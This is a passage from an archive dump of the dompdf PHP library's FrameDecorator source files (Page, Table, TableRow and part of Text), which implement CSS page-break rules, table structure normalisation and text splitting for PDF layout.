        return $style->font_size * (self::BULLET_SIZE + self::MARKER_INDENT);
    }

    /**
     * Get the line height for the bullet.
     *
     * This increases the height of the corresponding line box when necessary.
     */
    public function get_margin_height(): float
    {
        $style = $this->get_style();

        if ($style->list_style_type === "none") {
            return 0.0;
        }

        // TODO: This is a copy of `FrameDecorator\Text::get_margin_height()`
        // Would be nice to properly refactor that at some point
        $font = $style->font_family;
        $size = $style->font_size;
        $fontHeight = $this->_dompdf->getFontMetrics()->getFontHeight($font, $size);

        return ($style->line_height / ($size > 0 ? $size : 1)) * $fontHeight;
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/Page.php000066600000060701151150443010015636 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Exception;
use Dompdf\Helpers;
use Dompdf\Frame;
use Dompdf\Renderer;

/**
 * Decorates frames for page layout
 *
 * @package dompdf
 */
class Page extends AbstractFrameDecorator
{
    /**
     * The y value of the bottom edge of the page area.
     *
     * https://www.w3.org/TR/CSS21/page.html#page-margins
     *
     * @var float
     */
    protected $bottom_page_edge;

    /**
     * Flag indicating page is full.
     *
     * @var bool
     */
    protected $_page_full;

    /**
     * Number of tables currently being reflowed
     *
     * @var int
     */
    protected $_in_table;

    /**
     * The pdf renderer
     *
     * @var Renderer
     */
    protected $_renderer;

    /**
     * This page's floating frames
     *
     * @var array
     */
    protected $_floating_frames = [];

    //........................................................................

    /**
     * Class constructor
     *
     * @param Frame $frame the frame to decorate
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
        $this->_page_full = false;
        $this->_in_table = 0;
        $this->bottom_page_edge = null;
    }

    /**
     * Set the renderer used for this pdf
     *
     * @param Renderer $renderer the renderer to use
     */
    function set_renderer($renderer)
    {
        $this->_renderer = $renderer;
    }

    /**
     * Return the renderer used for this pdf
     *
     * @return Renderer
     */
    function get_renderer()
    {
        return $this->_renderer;
    }

    /**
     * Calculate the bottom edge of the page area after margins have been
     * applied for the current page.
     */
    public function calculate_bottom_page_edge(): void
    {
        [, , , $cbh] = $this->get_containing_block();
        $style = $this->get_style();
        $margin_bottom = (float) $style->length_in_pt($style->margin_bottom, $cbh);

        $this->bottom_page_edge = $cbh - $margin_bottom;
    }

    /**
     * Returns true if the page is full and is no longer accepting frames.
     *
     * @return bool
     */
    function is_full()
    {
        return $this->_page_full;
    }

    /**
     * Start a new page by resetting the full flag.
     */
    function next_page()
    {
        $this->_floating_frames = [];
        $this->_renderer->new_page();
        $this->_page_full = false;
    }

    /**
     * Indicate to the page that a table is currently being reflowed.
     */
    function table_reflow_start()
    {
        $this->_in_table++;
    }

    /**
     * Indicate to the page that table reflow is finished.
     */
    function table_reflow_end()
    {
        $this->_in_table--;
    }

    /**
     * Return whether we are currently in a nested table or not
     *
     * @return bool
     */
    function in_nested_table()
    {
        return $this->_in_table > 1;
    }

    /**
     * Check if a forced page break is required before $frame.  This uses the
     * frame's page_break_before property as well as the preceding frame's
     * page_break_after property.
     *
     * @link http://www.w3.org/TR/CSS21/page.html#forced
     *
     * @param AbstractFrameDecorator $frame the frame to check
     *
     * @return bool true if a page break occurred
     */
    function check_forced_page_break(Frame $frame)
    {
        // Skip check if page is already split and for the body
        if ($this->_page_full || $frame->get_node()->nodeName === "body") {
            return false;
        }

        $page_breaks = ["always", "left", "right"];
        $style = $frame->get_style();

        if (($frame->is_block_level() || $style->display === "table-row")
            && in_array($style->page_break_before, $page_breaks, true)
        ) {
            // Prevent cascading splits
            $frame->split(null, true, true);
            $style->page_break_before = "auto";
            $this->_page_full = true;
            $frame->_already_pushed = true;

            return true;
        }

        // Find the preceding block-level sibling (or table row). Inline
        // elements are treated as if wrapped in an anonymous block container
        // here. See https://www.w3.org/TR/CSS21/visuren.html#anonymous-block-level
        $prev = $frame->get_prev_sibling();
        while ($prev && (($prev->is_text_node() && $prev->get_node()->nodeValue === "")
            || $prev->get_node()->nodeName === "bullet")
        ) {
            $prev = $prev->get_prev_sibling();
        }

        if ($prev && ($prev->is_block_level() || $prev->get_style()->display === "table-row")) {
            if (in_array($prev->get_style()->page_break_after, $page_breaks, true)) {
                // Prevent cascading splits
                $frame->split(null, true, true);
                $prev->get_style()->page_break_after = "auto";
                $this->_page_full = true;
                $frame->_already_pushed = true;

                return true;
            }

            $prev_last_child = $prev->get_last_child();
            while ($prev_last_child && (($prev_last_child->is_text_node() && $prev_last_child->get_node()->nodeValue === "")
                || $prev_last_child->get_node()->nodeName === "bullet")
            ) {
                $prev_last_child = $prev_last_child->get_prev_sibling();
            }

            if ($prev_last_child
                && $prev_last_child->is_block_level()
                && in_array($prev_last_child->get_style()->page_break_after, $page_breaks, true)
            ) {
                $frame->split(null, true, true);
                $prev_last_child->get_style()->page_break_after = "auto";
                $this->_page_full = true;
                $frame->_already_pushed = true;

                return true;
            }
        }

        return false;
    }

    /**
     * Check for a gap between the top content edge of a frame and its child
     * content.
     *
     * Additionally, the top margin, border, and padding of the frame must fit
     * on the current page.
     *
     * @param float $childPos The top margin or line-box edge of the child content.
     * @param Frame $frame The parent frame to check.
     * @return bool
     */
    protected function hasGap(float $childPos, Frame $frame): bool
    {
        $style = $frame->get_style();
        $cbw = $frame->get_containing_block("w");
        $contentEdge = $frame->get_position("y") + (float) $style->length_in_pt([
            $style->margin_top,
            $style->border_top_width,
            $style->padding_top
        ], $cbw);

        return Helpers::lengthGreater($childPos, $contentEdge)
            && Helpers::lengthLessOrEqual($contentEdge, $this->bottom_page_edge);
    }

    /**
     * Determine if a page break is allowed before $frame
     * http://www.w3.org/TR/CSS21/page.html#allowed-page-breaks
     *
     * In the normal flow, page breaks can occur at the following places:
     *
     *    1. In the vertical margin between block boxes. When an
     *    unforced page break occurs here, the used values of the
     *    relevant 'margin-top' and 'margin-bottom' properties are set
     *    to '0'. When a forced page break occurs here, the used value
     *    of the relevant 'margin-bottom' property is set to '0'; the
     *    relevant 'margin-top' used value may either be set to '0' or
     *    retained.
     *    2. Between line boxes inside a block container box.
     *    3. Between the content edge of a block container box and the
     *    outer edges of its child content (margin edges of block-level
     *    children or line box edges for inline-level children) if there
     *    is a (non-zero) gap between them.
     *
     * These breaks are subject to the following rules:
     *
     *   * Rule A: Breaking at (1) is allowed only if the
     *     'page-break-after' and 'page-break-before' properties of all
     *     the elements generating boxes that meet at this margin allow
     *     it, which is when at least one of them has the value
     *     'always', 'left', or 'right', or when all of them are 'auto'.
     *
     *   * Rule B: However, if all of them are 'auto' and a common
     *     ancestor of all the elements has a 'page-break-inside' value
     *     of 'avoid', then breaking here is not allowed.
     *
     *   * Rule C: Breaking at (2) is allowed only if the number of line
     *     boxes between the break and the start of the enclosing block
     *     box is the value of 'orphans' or more, and the number of line
     *     boxes between the break and the end of the box is the value
     *     of 'widows' or more.
     *
     *   * Rule D: In addition, breaking at (2) or (3) is allowed only
     *     if the 'page-break-inside' property of the element and all
     *     its ancestors is 'auto'.
     *
     * If the above does not provide enough break points to keep content
     * from overflowing the page boxes, then rules A, B and D are
     * dropped in order to find additional breakpoints.
     *
     * If that still does not lead to sufficient break points, rule C is
     * dropped as well, to find still more break points.
     *
     * We also allow breaks between table rows.
     *
     * @param AbstractFrameDecorator $frame the frame to check
     *
     * @return bool true if a break is allowed, false otherwise
     */
    protected function _page_break_allowed(Frame $frame)
    {
        Helpers::dompdf_debug("page-break", "_page_break_allowed(" . $frame->get_node()->nodeName . ")");
        $display = $frame->get_style()->display;

        // Block Frames (1):
        if ($frame->is_block_level() || $display === "-dompdf-image") {

            // Avoid breaks within table-cells
            if ($this->_in_table > ($display === "table" ? 1 : 0)) {
                Helpers::dompdf_debug("page-break", "In table: " . $this->_in_table);

                return false;
            }

            // Rule A
            if ($frame->get_style()->page_break_before === "avoid") {
                Helpers::dompdf_debug("page-break", "before: avoid");

                return false;
            }

            // Find the preceding block-level sibling. Inline elements are
            // treated as if wrapped in an anonymous block container here. See
            // https://www.w3.org/TR/CSS21/visuren.html#anonymous-block-level
            $prev = $frame->get_prev_sibling();
            while ($prev && (($prev->is_text_node() && $prev->get_node()->nodeValue === "")
                || $prev->get_node()->nodeName === "bullet")
            ) {
                $prev = $prev->get_prev_sibling();
            }

            // Does the previous element allow a page break after?
            if ($prev && ($prev->is_block_level() || $prev->get_style()->display === "-dompdf-image")
                && $prev->get_style()->page_break_after === "avoid"
            ) {
                Helpers::dompdf_debug("page-break", "after: avoid");

                return false;
            }

            // Rules B & D
            $parent = $frame->get_parent();
            $p = $parent;
            while ($p) {
                if ($p->get_style()->page_break_inside === "avoid") {
                    Helpers::dompdf_debug("page-break", "parent->inside: avoid");

                    return false;
                }
                $p = $p->find_block_parent();
            }

            // To prevent cascading page breaks when a top-level element has
            // page-break-inside: avoid, ensure that at least one frame is
            // on the page before splitting.
            if ($parent->get_node()->nodeName === "body" && !$prev) {
                // We are the body's first child
                Helpers::dompdf_debug("page-break", "Body's first child.");

                return false;
            }

            // Check for a possible type (3) break
            if (!$prev && $parent && !$this->hasGap($frame->get_position("y"), $parent)) {
                Helpers::dompdf_debug("page-break", "First block-level frame, no gap");

                return false;
            }

            Helpers::dompdf_debug("page-break", "block: break allowed");

            return true;

        } // Inline frames (2):
        else {
            if ($frame->is_inline_level()) {

                // Avoid breaks within table-cells
                if ($this->_in_table) {
                    Helpers::dompdf_debug("page-break", "In table: " . $this->_in_table);

                    return false;
                }

                // Rule C
                $block_parent = $frame->find_block_parent();
                $parent_style = $block_parent->get_style();
                $line = $block_parent->get_current_line_box();
                $line_count = count($block_parent->get_line_boxes());
                $line_number = $frame->get_containing_line() && empty($line->get_frames())
                    ? $line_count - 1
                    : $line_count;

                // The line number of the frame can be less than the current
                // number of line boxes, in case we are backtracking. As long as
                // we are not checking for widows yet, just checking against the
                // number of line boxes is sufficient in most cases, though.
                if ($line_number <= $parent_style->orphans) {
                    Helpers::dompdf_debug("page-break", "orphans");

                    return false;
                }

                // FIXME: Checking widows is tricky without having laid out the
                // remaining line boxes.  Just ignore it for now...

                // Rule D
                $p = $block_parent;
                while ($p) {
                    if ($p->get_style()->page_break_inside === "avoid") {
                        Helpers::dompdf_debug("page-break", "parent->inside: avoid");

                        return false;
                    }
                    $p = $p->find_block_parent();
                }

                // To prevent cascading page breaks when a top-level element has
                // page-break-inside: avoid, ensure that at least one frame with
                // some content is on the page before splitting.
                $prev = $frame->get_prev_sibling();
                while ($prev && ($prev->is_text_node() && trim($prev->get_node()->nodeValue) == "")) {
                    $prev = $prev->get_prev_sibling();
                }

                if ($block_parent->get_node()->nodeName === "body" && !$prev) {
                    // We are the body's first child
                    Helpers::dompdf_debug("page-break", "Body's first child.");

                    return false;
                }

                Helpers::dompdf_debug("page-break", "inline: break allowed");

                return true;

            // Table-rows
            } else {
                if ($display === "table-row") {

                    // If this is a nested table, prevent the page from breaking
                    if ($this->_in_table > 1) {
                        Helpers::dompdf_debug("page-break", "table: nested table");

                        return false;
                    }

                    // Rule A (table row)
                    if ($frame->get_style()->page_break_before === "avoid") {
                        Helpers::dompdf_debug("page-break", "before: avoid");

                        return false;
                    }

                    // Find the preceding row
                    $prev = $frame->get_prev_sibling();

                    if (!$prev) {
                        $prev_group = $frame->get_parent()->get_prev_sibling();

                        if ($prev_group
                            && in_array($prev_group->get_style()->display, Table::ROW_GROUPS, true)
                        ) {
                            $prev = $prev_group->get_last_child();
                        }
                    }

                    // Check if a page break is allowed after the preceding row
                    if ($prev && $prev->get_style()->page_break_after === "avoid") {
                        Helpers::dompdf_debug("page-break", "after: avoid");

                        return false;
                    }

                    // Avoid breaking before the first row of a table
                    if (!$prev) {
                        Helpers::dompdf_debug("page-break", "table: first-row");

                        return false;
                    }

                    // Rule B (table row)
                    // Check if the page_break_inside property is not 'avoid'
                    // for the parent table or any of its ancestors
                    $table = Table::find_parent_table($frame);
                    if ($table === null) {
                        throw new Exception("Parent table not found for table row");
                    }
            
                    $p = $table;
                    while ($p) {
                        if ($p->get_style()->page_break_inside === "avoid") {
                            Helpers::dompdf_debug("page-break", "parent->inside: avoid");

                            return false;
                        }
                        $p = $p->find_block_parent();
                    }

                    Helpers::dompdf_debug("page-break", "table-row: break allowed");

                    return true;
                } else {
                    if (in_array($display, Table::ROW_GROUPS, true)) {

                        // Disallow breaks at row-groups: only split at row boundaries
                        return false;

                    } else {
                        Helpers::dompdf_debug("page-break", "? " . $display);

                        return false;
                    }
                }
            }
        }
    }

    /**
     * Check if $frame will fit on the page.  If the frame does not fit,
     * the frame tree is modified so that a page break occurs in the
     * correct location.
     *
     * @param AbstractFrameDecorator $frame the frame to check
     *
     * @return bool
     */
    function check_page_break(Frame $frame)
    {
        if ($this->_page_full || $frame->_already_pushed
            // Never check for breaks on empty text nodes
            || ($frame->is_text_node() && $frame->get_node()->nodeValue === "")
        ) {
            return false;
        }

        $p = $frame;
        do {
            $display = $p->get_style()->display;
            if ($display == "table-row") {
                if ($p->_already_pushed) { return false; }
            }
        } while ($p = $p->get_parent());

        // If the frame is absolute or fixed it shouldn't break
        $p = $frame;
        do {
            if ($p->is_absolute()) {
                return false;
            }
        } while ($p = $p->get_parent());

        $margin_height = $frame->get_margin_height();

        // Determine the frame's maximum y value
        $max_y = (float)$frame->get_position("y") + $margin_height;

        // If a split is to occur here, then the bottom margins & paddings of all
        // parents of $frame must fit on the page as well:
        $p = $frame->get_parent();
        while ($p && $p !== $this) {
            $cbw = $p->get_containing_block("w");
            $max_y += (float) $p->get_style()->computed_bottom_spacing($cbw);
            $p = $p->get_parent();
        }

        // Check if $frame flows off the page
        if (Helpers::lengthLessOrEqual($max_y, $this->bottom_page_edge)) {
            // no: do nothing
            return false;
        }

        Helpers::dompdf_debug("page-break", "check_page_break");
        Helpers::dompdf_debug("page-break", "in_table: " . $this->_in_table);

        // yes: determine page break location
        $iter = $frame;
        $flg = false;
        $pushed_flg = false;

        $in_table = $this->_in_table;

        Helpers::dompdf_debug("page-break", "Starting search");
        while ($iter) {
            // echo "\nbacktrack: " .$iter->get_node()->nodeName ." ".spl_object_hash($iter->get_node()). "";
            if ($iter === $this) {
                Helpers::dompdf_debug("page-break", "reached root.");
                // We've reached the root in our search.  Just split at $frame.
                break;
            }

            if ($iter->_already_pushed) {
                $pushed_flg = true;
            } elseif ($this->_page_break_allowed($iter)) {
                Helpers::dompdf_debug("page-break", "break allowed, splitting.");
                $iter->split(null, true);
                $this->_page_full = true;
                $this->_in_table = $in_table;
                $iter->_already_pushed = true;
                $frame->_already_pushed = true;

                return true;
            }

            if (!$flg && $next = $iter->get_last_child()) {
                Helpers::dompdf_debug("page-break", "following last child.");

                if ($next->is_table()) {
                    $this->_in_table++;
                }

                $iter = $next;
                $pushed_flg = false;
                continue;
            }

            if ($pushed_flg) {
                // The frame was already pushed, avoid breaking on a previous page
                break;
            }

            $next = $iter->get_prev_sibling();
            // Skip empty text nodes
            while ($next && $next->is_text_node() && $next->get_node()->nodeValue === "") {
                $next = $next->get_prev_sibling();
            }

            if ($next) {
                Helpers::dompdf_debug("page-break", "following prev sibling.");

                if ($next->is_table() && !$iter->is_table()) {
                    $this->_in_table++;
                } elseif (!$next->is_table() && $iter->is_table()) {
                    $this->_in_table--;
                }

                $iter = $next;
                $flg = false;
                continue;
            }

            if ($next = $iter->get_parent()) {
                Helpers::dompdf_debug("page-break", "following parent.");

                if ($iter->is_table()) {
                    $this->_in_table--;
                }

                $iter = $next;
                $flg = true;
                continue;
            }

            break;
        }

        $this->_in_table = $in_table;

        // No valid page break found.  Just break at $frame.
        Helpers::dompdf_debug("page-break", "no valid break found, just splitting.");

        // If we are in a table, backtrack to the nearest top-level table row
        if ($this->_in_table) {
            $iter = $frame;
            while ($iter && $iter->get_style()->display !== "table-row" && $iter->get_style()->display !== 'table-row-group' && $iter->_already_pushed === false) {
                $iter = $iter->get_parent();
            }

            if ($iter) {
                $iter->split(null, true);
                $iter->_already_pushed = true;
            } else {
                return false;
            }
        } else {
            $frame->split(null, true);
        }

        $this->_page_full = true;
        $frame->_already_pushed = true;

        return true;
    }

    //........................................................................

    public function split(?Frame $child = null, bool $page_break = false, bool $forced = false): void
    {
        // Do nothing
    }

    /**
     * Add a floating frame
     *
     * @param Frame $frame
     */
    function add_floating_frame(Frame $frame)
    {
        array_unshift($this->_floating_frames, $frame);
    }

    /**
     * @return Frame[]
     */
    function get_floating_frames()
    {
        return $this->_floating_frames;
    }

    /**
     * @param $key
     */
    public function remove_floating_frame($key)
    {
        unset($this->_floating_frames[$key]);
    }

    /**
     * @param Frame $child
     * @return int|mixed
     */
    public function get_lowest_float_offset(Frame $child)
    {
        $style = $child->get_style();
        $side = $style->clear;
        $float = $style->float;

        $y = 0;

        if ($float === "none") {
            foreach ($this->_floating_frames as $key => $frame) {
                if ($side === "both" || $frame->get_style()->float === $side) {
                    $y = max($y, $frame->get_position("y") + $frame->get_margin_height());
                }
                $this->remove_floating_frame($key);
            }
        }

        if ($y > 0) {
            $y++; // add 1px buffer from float
        }

        return $y;
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/Table.php000066600000023522151150443010016011 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Cellmap;
use DOMNode;
use Dompdf\Css\Style;
use Dompdf\Dompdf;
use Dompdf\Frame;

/**
 * Decorates Frames for table layout
 *
 * @package dompdf
 */
class Table extends AbstractFrameDecorator
{
    public const VALID_CHILDREN = Style::TABLE_INTERNAL_TYPES;

    /**
     * List of all row-group display types.
     */
    public const ROW_GROUPS = [
        "table-row-group",
        "table-header-group",
        "table-footer-group"
    ];

    /**
     * The Cellmap object for this table.  The cellmap maps table cells
     * to rows and columns, and aids in calculating column widths.
     *
     * @var Cellmap
     */
    protected $_cellmap;

    /**
     * Table header rows.  Each table header is duplicated when a table
     * spans pages.
     *
     * @var TableRowGroup[]
     */
    protected $_headers;

    /**
     * Table footer rows.  Each table footer is duplicated when a table
     * spans pages.
     *
     * @var TableRowGroup[]
     */
    protected $_footers;

    /**
     * Class constructor
     *
     * @param Frame $frame the frame to decorate
     * @param Dompdf $dompdf
     */
    public function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
        $this->_cellmap = new Cellmap($this);

        if ($frame->get_style()->table_layout === "fixed") {
            $this->_cellmap->set_layout_fixed(true);
        }

        $this->_headers = [];
        $this->_footers = [];
    }

    public function reset()
    {
        parent::reset();
        $this->_cellmap->reset();
        $this->_headers = [];
        $this->_footers = [];
        $this->_reflower->reset();
    }

    //........................................................................

    /**
     * Split the table at $row.  $row and all subsequent rows will be
     * added to the clone.  This method is overridden in order to remove
     * frames from the cellmap properly.
     */
    public function split(?Frame $child = null, bool $page_break = false, bool $forced = false): void
    {
        if (is_null($child)) {
            parent::split($child, $page_break, $forced);
            return;
        }

        // If $child is a header or if it is the first non-header row, do
        // not duplicate headers, simply move the table to the next page.
        if (count($this->_headers)
            && !in_array($child, $this->_headers, true)
            && !in_array($child->get_prev_sibling(), $this->_headers, true)
        ) {
            $first_header = null;

            // Insert copies of the table headers before $child
            foreach ($this->_headers as $header) {

                $new_header = $header->deep_copy();

                if (is_null($first_header)) {
                    $first_header = $new_header;
                }

                $this->insert_child_before($new_header, $child);
            }

            parent::split($first_header, $page_break, $forced);

        } elseif (in_array($child->get_style()->display, self::ROW_GROUPS, true)) {

            // Individual rows should have already been handled
            parent::split($child, $page_break, $forced);

        } else {

            $iter = $child;

            while ($iter) {
                $this->_cellmap->remove_row($iter);
                $iter = $iter->get_next_sibling();
            }

            parent::split($child, $page_break, $forced);
        }
    }

    public function copy(DOMNode $node)
    {
        $deco = parent::copy($node);

        // In order to keep columns' widths through pages
        $deco->_cellmap->set_columns($this->_cellmap->get_columns());
        $deco->_cellmap->lock_columns();

        return $deco;
    }

    /**
     * Static function to locate the parent table of a frame
     *
     * @param Frame $frame
     *
     * @return Table the table that is an ancestor of $frame
     */
    public static function find_parent_table(Frame $frame)
    {
        while ($frame = $frame->get_parent()) {
            if ($frame->is_table()) {
                break;
            }
        }

        return $frame;
    }

    /**
     * Return this table's Cellmap
     *
     * @return Cellmap
     */
    public function get_cellmap()
    {
        return $this->_cellmap;
    }

    //........................................................................

    /**
     * Check for text nodes between valid table children that only contain white
     * space, except if white space is to be preserved.
     *
     * @param AbstractFrameDecorator $frame
     *
     * @return bool
     */
    private function isEmptyTextNode(AbstractFrameDecorator $frame): bool
    {
        // This is based on the white-space pattern in `FrameReflower\Text`,
        // i.e. only match on collapsible white space
        $wsPattern = '/^[^\S\xA0\x{202F}\x{2007}]*$/u';
        $validChildOrNull = function ($frame) {
            return $frame === null
                || in_array($frame->get_style()->display, self::VALID_CHILDREN, true);
        };

        return $frame instanceof Text
            && !$frame->is_pre()
            && preg_match($wsPattern, $frame->get_text())
            && $validChildOrNull($frame->get_prev_sibling())
            && $validChildOrNull($frame->get_next_sibling());
    }

    /**
     * Restructure tree so that the table has the correct structure. Misplaced
     * children are appropriately wrapped in anonymous row groups, rows, and
     * cells.
     *
     * https://www.w3.org/TR/CSS21/tables.html#anonymous-boxes
     */
    public function normalize(): void
    {
        $column_caption = ["table-column-group", "table-column", "table-caption"];
        $children = iterator_to_array($this->get_children());
        $tbody = null;

        foreach ($children as $child) {
            $display = $child->get_style()->display;

            if (in_array($display, self::ROW_GROUPS, true)) {
                // Reset anonymous tbody
                $tbody = null;

                // Add headers and footers
                if ($display === "table-header-group") {
                    $this->_headers[] = $child;
                } elseif ($display === "table-footer-group") {
                    $this->_footers[] = $child;
                }
                continue;
            }

            if (in_array($display, $column_caption, true)) {
                continue;
            }

            // Remove empty text nodes between valid children
            if ($this->isEmptyTextNode($child)) {
                $this->remove_child($child);
                continue;
            }

            // Catch consecutive misplaced frames within a single anonymous group
            if ($tbody === null) {
                $tbody = $this->create_anonymous_child("tbody", "table-row-group");
                $this->insert_child_before($tbody, $child);
            }

            $tbody->append_child($child);
        }

        // Handle empty table: Make sure there is at least one row group
        if (!$this->get_first_child()) {
            $tbody = $this->create_anonymous_child("tbody", "table-row-group");
            $this->append_child($tbody);
        }

        foreach ($this->get_children() as $child) {
            $display = $child->get_style()->display;

            if (in_array($display, self::ROW_GROUPS, true)) {
                $this->normalizeRowGroup($child);
            }
        }
    }

    private function normalizeRowGroup(AbstractFrameDecorator $frame): void
    {
        $children = iterator_to_array($frame->get_children());
        $tr = null;

        foreach ($children as $child) {
            $display = $child->get_style()->display;

            if ($display === "table-row") {
                // Reset anonymous tr
                $tr = null;
                continue;
            }

            // Remove empty text nodes between valid children
            if ($this->isEmptyTextNode($child)) {
                $frame->remove_child($child);
                continue;
            }

            // Catch consecutive misplaced frames within a single anonymous row
            if ($tr === null) {
                $tr = $frame->create_anonymous_child("tr", "table-row");
                $frame->insert_child_before($tr, $child);
            }

            $tr->append_child($child);
        }

        // Handle empty row group: Make sure there is at least one row
        if (!$frame->get_first_child()) {
            $tr = $frame->create_anonymous_child("tr", "table-row");
            $frame->append_child($tr);
        }

        foreach ($frame->get_children() as $child) {
            $this->normalizeRow($child);
        }
    }

    private function normalizeRow(AbstractFrameDecorator $frame): void
    {
        $children = iterator_to_array($frame->get_children());
        $td = null;

        foreach ($children as $child) {
            $display = $child->get_style()->display;

            if ($display === "table-cell") {
                // Reset anonymous td
                $td = null;
                continue;
            }

            // Remove empty text nodes between valid children
            if ($this->isEmptyTextNode($child)) {
                $frame->remove_child($child);
                continue;
            }

            // Catch consecutive misplaced frames within a single anonymous cell
            if ($td === null) {
                $td = $frame->create_anonymous_child("td", "table-cell");
                $frame->insert_child_before($td, $child);
            }

            $td->append_child($child);
        }

        // Handle empty row: Make sure there is at least one cell
        if (!$frame->get_first_child()) {
            $td = $frame->create_anonymous_child("td", "table-cell");
            $frame->append_child($td);
        }
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/TableRow.php000066600000001073151150443010016476 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;

/**
 * Decorates Frames for table row layout
 *
 * @package dompdf
 */
class TableRow extends AbstractFrameDecorator
{
    /**
     * TableRow constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/Text.php000066600000015502151150443010015705 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\Exception;

/**
 * Decorates Frame objects for text layout
 *
 * @package dompdf
 */
class Text extends AbstractFrameDecorator
{
    /**
     * @var float
     */
    protected $text_spacing;

    /**
     * @var string|null
     */
    protected $mapped_font;

    /**
     * Text constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     * @throws Exception
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        if (!$frame->is_text_node()) {
            throw new Exception("Text_Decorator can only be applied to #text nodes.");
        }

        parent::__construct($frame, $dompdf);
        $this->text_spacing = 0.0;
    }

    function reset()
    {
        parent::reset();
        $this->text_spacing = 0.0;
        $this->mapped_font = null;
    }

    // Accessor methods

    /**
     * @return float
     */
    public function get_text_spacing(): float
    {
        return $this->text_spacing;
    }

    /**
     * @return string
     */
    function get_text()
    {
        // FIXME: this should be in a child class (and is incorrect)
//    if ( $this->_frame->get_style()->content !== "normal" ) {
//      $this->_frame->get_node()->data = $this->_frame->get_style()->content;
//      $this->_frame->get_style()->content = "normal";
//    }

//      Helpers::pre_r("---");
//      $style = $this->_frame->get_style();
//      var_dump($text = $this->_frame->get_node()->data);
//      var_dump($asc = utf8_decode($text));
//      for ($i = 0; $i < strlen($asc); $i++)
//        Helpers::pre_r("$i: " . $asc[$i] . " - " . ord($asc[$i]));
//      Helpers::pre_r("width: " . $this->_dompdf->getFontMetrics()->getTextWidth($text, $style->font_family, $style->font_size));

        return $this->_frame->get_node()->data;
    }

    //........................................................................

    /**
     * Vertical padding, border, and margin do not apply when determining the
     * height for inline frames.
     *
     * http://www.w3.org/TR/CSS21/visudet.html#inline-non-replaced
     *
     * The vertical padding, border and margin of an inline, non-replaced box
     * start at the top and bottom of the content area, not the
     * 'line-height'. But only the 'line-height' is used to calculate the
     * height of the line box.
     *
     * @return float
     */
    public function get_margin_height(): float
    {
        // This function is also called in add_frame_to_line() and is used to
        // determine the line height
        $style = $this->get_style();
        $font = $style->font_family;
        $size = $style->font_size;
        $fontHeight = $this->_dompdf->getFontMetrics()->getFontHeight($font, $size);

        return ($style->line_height / ($size > 0 ? $size : 1)) * $fontHeight;
    }

    public function get_padding_box(): array
    {
        $style = $this->_frame->get_style();
        $pb = $this->_frame->get_padding_box();
        $pb[3] = $pb["h"] = (float) $style->length_in_pt($style->height);
        return $pb;
    }

    /**
     * @param float $spacing
     */
    public function set_text_spacing(float $spacing): void
    {
        $this->text_spacing = $spacing;
        $this->recalculate_width();
    }

    /**
     * Recalculate the text width
     *
     * @return float
     */
    public function recalculate_width(): float
    {
        $fontMetrics = $this->_dompdf->getFontMetrics();
        $style = $this->get_style();
        $text = $this->get_text();
        $font = $style->font_family;
        $size = $style->font_size;
        $word_spacing = $this->text_spacing + $style->word_spacing;
        $letter_spacing = $style->letter_spacing;
        $text_width = $fontMetrics->getTextWidth($text, $font, $size, $word_spacing, $letter_spacing);

        $style->set_used("width", $text_width);
        return $text_width;
    }

    // Text manipulation methods

    /**
     * Split the text in this frame at the offset specified.  The remaining
     * text is added as a sibling frame following this one and is returned.
     *
     * @param int  $offset
     * @param bool $split_parent Whether to split parent inline frames.
     *
     * @return Text|null
     */
    function split_text(int $offset, bool $split_parent = true): ?self
    {
        if ($offset === 0) {
            return null;
        }

        $split = $this->_frame->get_node()->splitText($offset);
        if ($split === false) {
            return null;
        }

        /** @var Text */
        $deco = $this->copy($split);
        $style = $this->_frame->get_style();
        $split_style = $deco->get_style();

        if ($this->mapped_font !== null) {
            $split_style->set_used("font_family", $this->mapped_font);
            $deco->mapped_font = $this->mapped_font;
        }

        // Clear decoration widths at the split point. They might have been
        // copied from the parent frame during inline reflow
        $style->margin_right = 0.0;
        $style->padding_right = 0.0;
        $style->border_right_width = 0.0;

        $split_style->margin_left = 0.0;
        $split_style->padding_left = 0.0;
        $split_style->border_left_width = 0.0;

        $p = $this->get_parent();
        $p->insert_child_after($deco, $this, false);

        if ($split_parent && $p instanceof Inline) {
            $p->split($deco);
        }

        return $deco;
    }

    /**
     * @param int $offset
     * @param int $count
     */
    function delete_text($offset, $count)
    {
        $this->_frame->get_node()->deleteData($offset, $count);
    }

    /**
     * @param string $text
     */
    function set_text($text)
    {
        $this->_frame->get_node()->data = $text;
    }

    /**
     * Determines the optimal font that applies to the frame and splits
     * the frame where the optimal font changes.
     */
    function apply_font_mapping(): void
    {
        if ($this->mapped_font !== null) {
            return;
        }

        $fontMetrics = $this->_dompdf->getFontMetrics();
        $style = $this->get_style();
        $families = $style->get_font_family_computed();
        $subtype = $fontMetrics->getType($style->font_weight . ' ' . $style->font_style);
        $charMapping = $fontMetrics->mapTextToFonts($this->get_text(), $families, $subtype, 1);

        if (isset($charMapping[0])) {
            if ($charMapping[0]["length"] !== 0) {
